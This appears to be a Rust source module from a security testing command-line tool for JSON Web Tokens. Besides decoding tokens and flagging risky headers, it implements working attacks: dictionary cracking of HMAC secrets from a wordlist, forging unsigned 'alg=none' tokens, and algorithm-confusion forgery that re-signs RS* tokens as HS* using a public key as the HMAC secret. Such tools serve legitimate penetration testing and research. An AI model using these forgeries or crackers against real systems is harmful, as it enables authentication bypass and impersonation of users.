1use anyhow::{Context, Result};
2use base64::{Engine, engine::general_purpose::URL_SAFE_NO_PAD};
3use clap::Subcommand;
4use std::path::PathBuf;
5
6use super::hmac;
7
8#[derive(Subcommand)]
9pub enum JwtAction {
10 #[command(about = "Decode a JWT token (without verification)")]
11 Decode {
12 #[arg(help = "JWT token string")]
13 token: String,
14 },
15 #[command(about = "Analyze a JWT token for potential vulnerabilities")]
16 Analyze {
17 #[arg(help = "JWT token string")]
18 token: String,
19 },
20 #[command(about = "Dictionary-attack the HMAC secret of an HS* JWT")]
21 Crack {
22 #[arg(help = "JWT token string")]
23 token: String,
24 #[arg(short, long, help = "Wordlist file (one secret per line)")]
25 wordlist: PathBuf,
26 },
27 #[command(about = "Forge a token with alg=none (empty signature)")]
28 ForgeNone {
29 #[arg(
30 help = "Existing JWT (payload kept) or raw JSON payload string",
31 required_unless_present = "payload"
32 )]
33 token: Option<String>,
34 #[arg(short, long, help = "Raw JSON payload (overrides token payload)")]
35 payload: Option<String>,
36 },
37 #[command(
38 about = "Algorithm-confusion forge: re-sign RS* token as HS256 using a public key file as HMAC secret"
39 )]
40 Confuse {
41 #[arg(help = "JWT token string (header/payload source)")]
42 token: String,
43 #[arg(
44 short,
45 long,
46 help = "Public key file (PEM or raw bytes used as HMAC secret)"
47 )]
48 key: PathBuf,
49 #[arg(
50 long,
51 default_value = "HS256",
52 help = "Symmetric algorithm to forge (HS256/HS384/HS512)"
53 )]
54 alg: String,
55 },
56}
57
58pub fn run(action: JwtAction) -> Result<()> {
59 match action {
60 JwtAction::Decode { token } => {
61 let parts = decode(&token)?;
62 println!("Header: {}", parts.header);
63 println!("Payload: {}", parts.payload);
64 println!("Signature: {}", parts.signature_hex);
65 }
66 JwtAction::Analyze { token } => {
67 let parts = decode(&token)?;
68 println!("Header: {}", parts.header);
69 println!("Payload: {}", parts.payload);
70 println!("Algorithm: {}", extract_algorithm(&parts.header));
71 println!();
72 let warnings = find_vulnerabilities(&parts.header);
73 if warnings.is_empty() {
74 println!("No obvious vulnerabilities detected.");
75 } else {
76 println!("Potential vulnerabilities:");
77 for w in &warnings {
78 println!(" [!] {}", w);
79 }
80 }
81 }
82 JwtAction::Crack { token, wordlist } => match crack_hmac_secret(&token, &wordlist)? {
83 Some(secret) => println!("Found secret: {}", secret),
84 None => println!("Not found"),
85 },
86 JwtAction::ForgeNone { token, payload } => {
87 let payload_json = if let Some(p) = payload {
88 p
89 } else if let Some(t) = token {
90 decode(&t)?.payload
91 } else {
92 anyhow::bail!("Provide a token or --payload");
93 };
94 let forged = forge_none(&payload_json)?;
95 println!("{}", forged);
96 }
97 JwtAction::Confuse { token, key, alg } => {
98 let key_bytes = std::fs::read(&key)
99 .with_context(|| format!("Failed to read key file: {}", key.display()))?;
100 let forged = forge_alg_confusion(&token, &key_bytes, &alg)?;
101 println!("{}", forged);
102 }
103 }
104 Ok(())
105}
106
107pub struct JwtParts {
108 pub header: String,
109 pub payload: String,
110 pub signature_hex: String,
111}
112
113pub fn decode(token: &str) -> Result<JwtParts> {
114 let token = token.trim();
115 let segments: Vec<&str> = token.split('.').collect();
116 if segments.len() != 3 {
117 anyhow::bail!(
118 "Invalid JWT format: expected 3 dot-separated parts, got {}",
119 segments.len()
120 );
121 }
122
123 let header_bytes = URL_SAFE_NO_PAD
124 .decode(segments[0])
125 .context("Failed to decode JWT header (invalid base64url)")?;
126 let header = String::from_utf8(header_bytes).context("JWT header is not valid UTF-8")?;
127
128 let payload_bytes = URL_SAFE_NO_PAD
129 .decode(segments[1])
130 .context("Failed to decode JWT payload (invalid base64url)")?;
131 let payload = String::from_utf8(payload_bytes).context("JWT payload is not valid UTF-8")?;
132
133 let sig_bytes = URL_SAFE_NO_PAD
134 .decode(segments[2])
135 .context("Failed to decode JWT signature (invalid base64url)")?;
136 let signature_hex = hex::encode(&sig_bytes);
137
138 Ok(JwtParts {
139 header,
140 payload,
141 signature_hex,
142 })
143}
144
145pub fn extract_algorithm(header_json: &str) -> String {
146 let v: serde_json::Value = serde_json::from_str(header_json).unwrap_or(serde_json::Value::Null);
147 v.get("alg")
148 .and_then(|v| v.as_str())
149 .unwrap_or("unknown")
150 .to_string()
151}
152
153pub fn find_vulnerabilities(header_json: &str) -> Vec<String> {
154 let mut warnings = Vec::new();
155
156 let v: serde_json::Value = match serde_json::from_str(header_json) {
158 Ok(val) => val,
159 Err(_) => return vec!["Invalid JSON header - parsing failed".to_string()],
160 };
161
162 let alg = v.get("alg").and_then(|v| v.as_str()).unwrap_or("unknown");
163 let alg_lower = alg.to_lowercase();
164
165 if alg_lower == "none" {
166 warnings.push("Algorithm is \"none\" - signature verification is disabled!".to_string());
167 }
168
169 if alg_lower == "hs256" || alg_lower == "hs384" || alg_lower == "hs512" {
170 warnings.push(format!(
171 "Symmetric algorithm ({}) - check for algorithm confusion attacks (RS256 -> HS256)",
172 alg
173 ));
174 }
175
176 if v.get("jku").is_some() {
177 warnings.push(
178 "\"jku\" (JWK Set URL) header present - possible SSRF or key injection".to_string(),
179 );
180 }
181
182 if v.get("x5u").is_some() {
183 warnings.push(
184 "\"x5u\" (X.509 URL) header present - possible SSRF or key injection".to_string(),
185 );
186 }
187
188 if v.get("kid").is_some() {
189 warnings.push(
190 "\"kid\" (Key ID) header present - check for SQL injection or path traversal"
191 .to_string(),
192 );
193 }
194
195 if v.get("jwk").is_some() {
196 warnings.push(
197 "\"jwk\" (embedded key) header present - possible key self-signing attack".to_string(),
198 );
199 }
200
201 warnings
202}
203
204fn signing_input(token: &str) -> Result<String> {
205 let token = token.trim();
206 let segments: Vec<&str> = token.split('.').collect();
207 if segments.len() < 2 {
208 anyhow::bail!("Invalid JWT format");
209 }
210 Ok(format!("{}.{}", segments[0], segments[1]))
211}
212
213fn signature_bytes(token: &str) -> Result<Vec<u8>> {
214 let token = token.trim();
215 let segments: Vec<&str> = token.split('.').collect();
216 if segments.len() != 3 {
217 anyhow::bail!("Invalid JWT format: expected 3 parts");
218 }
219 URL_SAFE_NO_PAD
220 .decode(segments[2])
221 .context("Failed to decode JWT signature")
222}
223
224pub fn verify_hs(token: &str, secret: &[u8]) -> Result<bool> {
226 let parts = decode(token)?;
227 let alg = extract_algorithm(&parts.header).to_ascii_uppercase();
228 let msg = signing_input(token)?;
229 let expected = signature_bytes(token)?;
230 let actual = match alg.as_str() {
231 "HS256" => {
232 let hex = hmac::hmac_sha256(secret, msg.as_bytes());
233 hex::decode(hex).context("internal hex decode")?
234 }
235 "HS384" => {
236 use sha2::Sha384;
238 hmac_digest::<Sha384>(secret, msg.as_bytes(), 128)
239 }
240 "HS512" => {
241 let hex = hmac::hmac_sha512(secret, msg.as_bytes());
242 hex::decode(hex).context("internal hex decode")?
243 }
244 other => anyhow::bail!("Unsupported or non-HMAC algorithm for crack: {}", other),
245 };
246 Ok(constant_time_eq(&expected, &actual))
247}
248
249fn hmac_digest<D: sha2::Digest>(key: &[u8], message: &[u8], block_size: usize) -> Vec<u8> {
250 let actual_key = if key.len() > block_size {
251 let mut hasher = D::new();
252 hasher.update(key);
253 hasher.finalize().to_vec()
254 } else {
255 key.to_vec()
256 };
257 let mut padded_key = vec![0u8; block_size];
258 padded_key[..actual_key.len()].copy_from_slice(&actual_key);
259 let ipad: Vec<u8> = padded_key.iter().map(|&k| k ^ 0x36).collect();
260 let opad: Vec<u8> = padded_key.iter().map(|&k| k ^ 0x5c).collect();
261 let mut inner = D::new();
262 inner.update(&ipad);
263 inner.update(message);
264 let inner_hash = inner.finalize();
265 let mut outer = D::new();
266 outer.update(&opad);
267 outer.update(&inner_hash);
268 outer.finalize().to_vec()
269}
270
271fn constant_time_eq(a: &[u8], b: &[u8]) -> bool {
272 if a.len() != b.len() {
273 return false;
274 }
275 let mut diff = 0u8;
276 for (x, y) in a.iter().zip(b.iter()) {
277 diff |= x ^ y;
278 }
279 diff == 0
280}
281
282pub fn crack_hmac_secret(token: &str, wordlist: &PathBuf) -> Result<Option<String>> {
283 let parts = decode(token)?;
284 let alg = extract_algorithm(&parts.header).to_ascii_uppercase();
285 if !matches!(alg.as_str(), "HS256" | "HS384" | "HS512") {
286 anyhow::bail!(
287 "Token algorithm is {} (need HS256/HS384/HS512 for dictionary crack)",
288 alg
289 );
290 }
291
292 let bytes = std::fs::read(wordlist)
293 .with_context(|| format!("Failed to read wordlist: {}", wordlist.display()))?;
294 for line in bytes.split(|&b| b == b'\n') {
295 let line = line.strip_suffix(b"\r").unwrap_or(line);
296 if line.is_empty() {
297 continue;
298 }
299 if verify_hs(token, line)? {
301 return Ok(Some(String::from_utf8_lossy(line).into_owned()));
302 }
303 }
304 Ok(None)
305}
306
307pub fn forge_none(payload_json: &str) -> Result<String> {
309 let _: serde_json::Value =
311 serde_json::from_str(payload_json).context("Payload is not valid JSON")?;
312 let header = r#"{"alg":"none","typ":"JWT"}"#;
313 let h = URL_SAFE_NO_PAD.encode(header.as_bytes());
314 let p = URL_SAFE_NO_PAD.encode(payload_json.as_bytes());
315 Ok(format!("{}.{}.", h, p))
317}
318
319pub fn forge_alg_confusion(token: &str, key: &[u8], alg: &str) -> Result<String> {
321 let parts = decode(token)?;
322 let alg_up = alg.to_ascii_uppercase();
323 if !matches!(alg_up.as_str(), "HS256" | "HS384" | "HS512") {
324 anyhow::bail!("Forge algorithm must be HS256, HS384, or HS512");
325 }
326
327 let mut header_val: serde_json::Value =
328 serde_json::from_str(&parts.header).context("Invalid header JSON")?;
329 header_val["alg"] = serde_json::Value::String(alg_up.clone());
330 let header_json = serde_json::to_string(&header_val)?;
331
332 let h = URL_SAFE_NO_PAD.encode(header_json.as_bytes());
333 let p = URL_SAFE_NO_PAD.encode(parts.payload.as_bytes());
334 let signing = format!("{}.{}", h, p);
335
336 let sig = match alg_up.as_str() {
337 "HS256" => {
338 let hex = hmac::hmac_sha256(key, signing.as_bytes());
339 hex::decode(hex).context("internal hex decode")?
340 }
341 "HS384" => {
342 use sha2::Sha384;
343 hmac_digest::<Sha384>(key, signing.as_bytes(), 128)
344 }
345 "HS512" => {
346 let hex = hmac::hmac_sha512(key, signing.as_bytes());
347 hex::decode(hex).context("internal hex decode")?
348 }
349 _ => unreachable!(),
350 };
351 let s = URL_SAFE_NO_PAD.encode(&sig);
352 Ok(format!("{}.{}.{}", h, p, s))
353}
354
355pub fn crack_hmac_secret_list(token: &str, secrets: &[&str]) -> Result<Option<String>> {
357 for s in secrets {
358 if verify_hs(token, s.as_bytes())? {
359 return Ok(Some((*s).to_string()));
360 }
361 }
362 Ok(None)
363}